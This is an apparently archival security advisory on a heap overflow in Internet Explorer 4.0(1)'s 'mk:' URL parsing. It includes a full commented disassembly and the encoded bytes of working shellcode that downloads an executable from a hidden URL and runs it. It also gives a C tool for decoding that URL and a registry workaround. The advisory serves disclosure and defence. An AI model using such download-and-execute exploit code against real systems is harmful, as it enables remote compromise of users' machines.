COMMAND

    MSIE 4.0(1) suite

SYSTEMS AFFECTED

    Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
    Windows NT Workstation/Server running IE4.0,IE4.01

PROBLEM

    DilDog, as part of L0pht Advisory, found following.  The Microsoft
    Internet Explorer  4.0(1) Suite,  including all  programs supplied
    with it that read and/or process HTML from either local  machines,
    intranet machines, or  remote internet machines  are subject to  a
    buffer overflow in the HTML decoding process. The buffer  overflow
    can cause  the application  to page  fault, or  in the worst case,
    execute  arbitrary  precompiled  native  code.   It  has also been
    reported that this bug affects  Internet Explorer 3.0 if you  have
    Visual Studio (VC++/J++ etc) installed on your system. Though this
    may be true,  and if so,  exploitable, there has  not been exploit
    code written up for it.

    Much like the res:// overflow, this bug can be seen in action by
    clicking on a link -or- having the browser auto-refresh to a URL
    with the executable code in the url.  Please look at the L0pht
Advisory homepage for this bug for a detailed example of the problem.

   The problem  here lies  in the  deciphering of  the URL line format
   itself.  The  base  HTML  library  that  is  used  by  the Internet
   Explorer 4.0 Suite and the following programs are vulnerable:

        - Outlook Express (both mail and news)
        - Windows Explorer
        - Internet Explorer (different than regular explorer, really)

    This problem, because it stems from a programming flaw in the HTML
    decoding system,  is unaffected  by the  Explorer "Security Zones"
    feature.   In other  words, if  you turn  on the  highest security
    level for the  zone from where  the exploit HTML  is being viewed,
    you are still vulnerable.   The critical problem here is  a buffer
    overflow in the parsing of a particular new type of URL  protocol.
    The "mk:"  type of  URL is  meant to  access proprietary Microsoft
    'InfoViewer  Topics',  as  exhibited  by  the InfoViewer of Visual
    Studio, and the Help System of IE4.0(1).  For example, the URL for
    the Microsoft IE4.0 help system is:

        mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm

    The buffer overflow is not a standard stack overflow, but rather a
    _heap_  overflow.   This  complicated  coding  exploits,  but  is,
    nonetheless,  do-able.   This   time,  DilDog  assumed  you   know
    something  about  stack  overflows  and  writing  generic   buffer
    overflow scripts.  If you're  lost already, then the rest  of this
    sure as hell ain't going to make any sense to you.

    The exploit code overflows a buffer on the heap, overwriting a few
    critical  heap  variables  and,  eventually  leaving  the EIP at a
    ridiculous  point  in  the  middle  of  URLMON.DLL ready to crash,
    unless you,  bold coder,  know what  to stuff  in those registers.
    Turns out that when you  overflow that heap buffer, you  can stuff
    a value right into EAX.   This is important, because the  critical
    code section that you reach looks like this:

        (URLMON!.text+)
        014F:702A365E  8B08                         MOV ECX,[EAX]
        014F:702A3660  50                           PUSH EAX
        014F:702A3661  FF5108                       CALL [ECX+08]

    (Incidentally, all the addresses here are for DLL's provided  with
    IE4.01 not IE4.0.  The code is  similar for IE4.0.  Just different
    offsets).   You  need  that  CALL  [ECX+08]  to  jump to something
    useful.  The place where it  jumps is to a location in  URLMON.DLL
    (or was it  MSHTML.DLL?) that has  an instruction that  looks like
    CALL ECX.  To  get the NULL bytes  and things in the  right places
    involves  a  little  finagling  of  the  string using %00, and the
    null-terminator of the URL.  After that CALL ECX happens, your EIP
    points to a  piece of code  that is in  your exploit space.  Then,
    just jump to  the beginning of  the exploit code  and start having
    fun.  DilDog used CALL to save a byte. (Who cares about the  stack
    now  anyway?   You've  already  blown  it  to  hell).   Here's it.
    (Described in terms of IE4.01).
    Commented disassembly: (starting at mk:@ivt:cDc/...)

    > Skip over the jump tables

    0057CC7C: 3BC0                         cmp    eax,eax
    0057CC7E: 7468                         je     00057CCE8

    > blah blah blah

    0057CC80: 90                           nop
    0057CC81: 90                           nop
    0057CC82: 90                           nop

    > Jump tables start here for WININET.DLL functions
    > WinInet Function addresses:
    >
    >                    (dated 9/18/97) IE4.0       (dated 11/18/97) IE4.01
    > InternetOpenA           0x702120B9                  0x70211817
    > InternetOpenUrlA        0x7021949F                  0x70219345
    > InternetCloseHandle     0x7020422B                  0x7020422E
    > InternetReadFile        0x7020E2DC                  0x7020E3C4

    0057CC83: BFE9E7DE8F                   mov    edi,08FDEE7E9  (InternetOpenA)
    0057CC88: F7DF                         neg    edi
    0057CC8A: FFE7                         jmp    edi
    0057CC8C: BFBB6CDE8F                   mov    edi,08FDE6CBB  (InternetOpenUrlA)
    0057CC91: F7DF                         neg    edi
    0057CC93: FFE7                         jmp    edi
    0057CC95: BFD2BDDF8F                   mov    edi,08FDFBDD2  (InternetCloseHandle)
    0057CC9A: F7DF                         neg    edi
    0057CC9C: FFE7                         jmp    edi
    0057CC9E: BF88C741E0                   mov    edi,0E041C788  (InternetReadFile)
    0057CCA3: D1EF                         shr    edi,1
    0057CCA5: FFE7                         jmp    edi

    > End WININET Jump Table

    0057CCA7: 90                           nop

    > Start Kernel  Offset Table for  Win95 OSR 2  (no bad characters/
    > /nulls/otherwise!)
    > Win95B Function addresses:
    >
    >  WinExec      (0xBFF9D330)
    >  _lopen       (0xBFF773FB)
    >  _lclose      (0xBFF98283)
    >  _lwrite      (0xBFF9CDE8)
    >  _lcreat      (0xBFF9CDBE)
    >  ExitProcess  (0xBFF8AECD)
    >  GlobalAlloc  (0xBFF74904)

    0057CCA8:  30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
    0057CCB8:  BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-

    > Start  Kernel Offset  Table for  Win95 OSR  1 (no  bad ones here
    > either!)
    > Win95A Function addresses:
    >
    >  WinExec      (0xBFF9D330)
    >  _lopen       (0xBFF773FB)
    >  _lclose      (0xBFF98283)
    >  _lwrite      (0xBFF9CDE8)
    >  _lcreat      (0xBFF9CDBE)
    >  ExitProcess  (0xBFF8AECD)
    >  GlobalAlloc  (0xBFF74904)

    0057CCC4:  F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
    0057CCD4:  86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-

    > blah blah blah

    0057CCE4: 90                           nop
    0057CCE5: 90                           nop
    0057CCE6: 90                           nop
    0057CCE7: 90                           nop
    0057CCE8: 90                           nop

    > check  windows  kernel  version  by  querying  random byte  that
    > happens to be different in the two versions. Also, set up ESI to
    > be a pointer to the kernel offset table for the correct version.

    0057CCE9: BB8BFFF7BF                   mov    ebx,0BFF7FF8B
    0057CCEE: 2AFF                         sub    bh,bh
    0057CCF0: 8BF5                         mov    esi,ebp
    0057CCF2: B032                         mov    al,032
    0057CCF4: 3803                         cmp    [ebx],al
    0057CCF6: 750E                         jne    00057CD06
    0057CCF8: 33C0                         xor    eax,eax
    0057CCFA: B05F                         mov    al,05F
    0057CCFC: 90                           nop
    0057CCFD: 03F0                         add    esi,eax
    0057CCFF: 720E                         jb     00057CD0F
    0057CD01: 90                           nop
    0057CD02: 90                           nop
    0057CD03: 90                           nop
    0057CD04: 90                           nop
    0057CD05: 90                           nop
    0057CD06: 33C0                         xor    eax,eax
    0057CD08: B07B                         mov    al,07B
    0057CD0A: 90                           nop
    0057CD0B: 03F0                         add    esi,eax
    0057CD0D: 90                           nop
    0057CD0E: 90                           nop
    0057CD0F: 90                           nop

    > ESI is now a pointer  to the first function the the  appropriate
    > kernel offset table. Now, we need to decode our 'data  segment'.
    > Do  so, by  XOR'ing (ADD'ing)  each byte  of the  data area with
    > 0x80.   This prevents  people from  seeing what  we're doing, as
    > well as keeping out null characters and bad stuff in the exploit
    > string.

    0057CD10: 33C9                         xor    ecx,ecx
    0057CD12: 66B95D01                     mov    cx,0015D
    0057CD16: 03CD                         add    ecx,ebp
    0057CD18: B238                         mov    dl,038  ;"8"
    0057CD1A: 800180                       add    b,[ecx],080  ;"Ç
    0057CD1D: 41                           inc    ecx
    0057CD1E: 4A                           dec    edx
    0057CD1F: 75F9                         jne    00057CD1A   ----
    0057CD21: 90                           nop
    0057CD22: 90                           nop

    > It becomes clear where we're going :)
    > Let's allocate some memory. 65535 bytes to be precise.

    0057CD23: 66BAFFFF                     mov    dx,0FFFF  ;"__"
    0057CD27: 52                           push   edx
    0057CD28: 33D2                         xor    edx,edx
    0057CD2A: 52                           push   edx
    0057CD2B: FF5618                       call   d,[esi][00018]
    0057CD2E: 8BD8                         mov    ebx,eax

    > Ok.  Now  we  go  ahead  and  call  InternetOpenA and keep  that
    > Internet handle  in EAX. Why  do I call  this function twice?  I
    > don't know. I was debugging and  I never took it out. NOP it  if
    > you want. I don't care.

    0057CD30: 33D2                         xor    edx,edx
    0057CD32: 52                           push   edx
    0057CD33: 52                           push   edx
    0057CD34: 52                           push   edx
    0057CD35: 52                           push   edx
    0057CD36: 90                           nop
    0057CD37: 6681C25D01                   add    dx,0015D
    0057CD3C: 03D5                         add    edx,ebp
    0057CD3E: 52                           push   edx
    0057CD3F: E83FFFFFFF                   call   00057CC83
    0057CD44: E83AFFFFFF                   call   00057CC83

    > Now  we call  InternetOpenUrlA, getting  us ready  to download a
    > file from the net into that buffer we allocated

    0057CD49: 33D2                         xor    edx,edx
    0057CD4B: 52                           push   edx
    0057CD4C: 52                           push   edx
    0057CD4D: 6AFF                         push   0FF
    0057CD4F: 52                           push   edx
    0057CD50: 6681C26501                   add    dx,00165
    0057CD55: 03D5                         add    edx,ebp
    0057CD57: 52                           push   edx
    0057CD58: 50                           push   eax
    0057CD59: E82EFFFFFF                   call   00057CC8C

    > We then  go ahead and  call InternetReadFile, downloading  65535
    > bytes from the net and into the buffer.

    0057CD5E: 8BD5                         mov    edx,ebp
    0057CD60: 83C230                       add    edx,030
    0057CD63: 90                           nop
    0057CD64: 90                           nop
    0057CD65: 52                           push   edx
    0057CD66: 2BC9                         sub    ecx,ecx
    0057CD68: 6649                         dec    cx
    0057CD6A: 51                           push   ecx
    0057CD6B: 53                           push   ebx
    0057CD6C: 50                           push   eax
    0057CD6D: E82CFFFFFF                   call   00057CC9E

    > Call _lcreat, and make us a place to store what we downloaded.

    0057CD72: 33D2                         xor    edx,edx
    0057CD74: 52                           push   edx
    0057CD75: 6681C25D01                   add    dx,0015D
    0057CD7A: 03D5                         add    edx,ebp
    0057CD7C: 52                           push   edx
    0057CD7D: FF5610                       call   d,[esi][00010]

    > ok, call _lwrite and write the buffer to the file.

    0057CD80: 8BD5                         mov    edx,ebp
    0057CD82: 83C230                       add    edx,030  ;"0"
    0057CD85: 8B12                         mov    edx,[edx]
    0057CD87: 52                           push   edx
    0057CD88: 53                           push   ebx
    0057CD89: 50                           push   eax
    0057CD8A: 8BD8                         mov    ebx,eax
    0057CD8C: FF560C                       call   d,[esi][0000C]

> Close the file with _lclose.

    0057CD8F: 53                           push   ebx
    0057CD90: FF5608                       call   d,[esi][00008]

> Now run what we downloaded by calling WinExec!

    0057CD93: 33D2                         xor    edx,edx
    0057CD95: 42                           inc    edx
    0057CD96: 52                           push   edx
    0057CD97: 6681C25C01                   add    dx,0015C
    0057CD9C: 03D5                         add    edx,ebp
    0057CD9E: 52                           push   edx
    0057CD9F: FF16                         call   d,[esi]

    > And go ahead and kill the Internet Explorer process. It's pretty
    > bung'd out by now, and if we don't kill it, it will kill itself

    0057CDA1: FF5614                       call   d,[esi][00014]

    > The rest of  this is left as  an exercise to the  reader, and is
    > really only worth about 5 minutes of staring at. (Though it took
    > about 5 or so hours to come up with!)  Basically, you just gotta
    > play  around with  your debugger  and work  those registers.  Be
    > clever, and you'll get something like this:

     0057CD98:             -           -           -2D 2D E6 EF
     0057CDA8:  EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
     0057CDB8:  AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
     0057CDC8:  EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
     0057CDD8:  E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
     0057CDE8:  2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
     0057CDF8:  2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
     0057CE08:  27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
     0057CE18:  37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
     0057CE28:  86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
     0057CE38:  DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
     0057CE48:  72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
     0057CE58:  68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
     0057CE68:  65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
     0057CE78:  0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
     0057CE88:  0D 0A      -           -           -

    > Phew!

    Anyway. The short and long of all that disassembly is this:

        1. It downloads a <64K file from the internet (any URL)
           Using the current firewall and proxy settings...
        2. It saves it as "foo.exe" on your desktop (probably)
        3. It runs the executable.
        4. To see which URL it  is downloading, just XOR the tail  end
           of the exploit string with 0x80's.

    Linus  Nordberg  a  program  that  tries  to find out what file is
    downloaded and  executed.   Paste the  vicous url  into a file and
    give the filename as only argument or cat it in on stdin.

    /*
     * whaturl.c
     *
     * see http://www.l0pht.com/advisories.html for details on the exploit.
     *
     * this program is easily fooled by anyone that crafts its own
     * urls, but a fair guess is that most of us are too lazy/lame to
     * do that.
     *
     * --linus
     */

    #include <stdio.h>
    #define MY_EOS (0)

    /* signum for finding the magic value to XOR with */
    unsigned char signum[] =
    {0x80, 0x01, MY_EOS};           /* add b,[ecx],? */


    int matchsignum(char c)
    {
            static char *cp = signum;

            if (*cp == c) {
                    if (*++cp == MY_EOS)
                            return 1;
            } else
                    cp = signum;

            return 0;
    }

    int main(int argc, char *argv[])
    {
            int sigfound, ixor, bread, i, j;
            unsigned char xorval[64], inbuf[0xffff], *cp;
            FILE *fin = NULL;

            if (argc)
                    fin = fopen(argv[1], "rb");

            if (fin == NULL)
                    fin = stdin;

            bread = fread(inbuf, sizeof(*inbuf), sizeof(inbuf), fin);
            if (!feof(fin))
                    return 1;

            /* find possible XOR-values */
            sigfound = ixor = 0;
            for (i = 0, cp = inbuf; i < bread; i++, cp++) {
                    if (sigfound) {
                            for (j = 0; j < ixor; j++)
                                    if (*cp == xorval[j])
                                            break;
                            if (*cp != xorval[j])
                                    xorval[ixor++] = *cp;
                            sigfound = 0;
                    } else
                            sigfound = matchsignum(*cp);
            }

            if (!ixor) {
                    fprintf(stdout, "%s: signum not found, trying 0x80\n", argv[0]);
                    ixor = 1;
                    xorval[0] = 0x80;
            }
            /* todo: where does the url start? for now, print the lot. */
            while (ixor--) {
                    printf("%s: xorval %#02x -->\n", argv[0], xorval[ixor]);
                    for (i = 0, cp = inbuf; i < bread; i++, cp++)
                            putchar(*cp ^ xorval[ixor]);
                    putchar('\n');
            }

            fclose(fin);
            return 0;
    }

SOLUTION

    Currently, there is no solution available for this flaw. You can't
    set any  Internet Explorer  options to  avoid it,  and you are not
    protected by any  level of zone  security.  Simply  don't surf the
    web, read email  or view net  news using Internet  Explorer 4.0(1)
    until Microsoft puts up a hotfix.

    Temporary fix for this bug may help you, BUT...  If it breaks your
    system, it's yer own damn fault,  not anyone's else.  If you  look
    in the registry, you'll see a key:

        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\mkenabled

    it usually says "yes".  Make it say "no".  Having turned "yes"  to
    "no", if you now run up  Microsoft Visual C++ V5.0 you'll see  the
    "no" change back to a "yes".   REGEDT32 can be used on NT to  make
    the Internet Explorer key read-only.  This stops the "no" changing
    back  to   "yes".    Predictably,  it   also  stops   the   online
    documentation working in Visual C++.  It might also cause problems
    in IE  since IE  will lack  the permission  to change its registry
    data.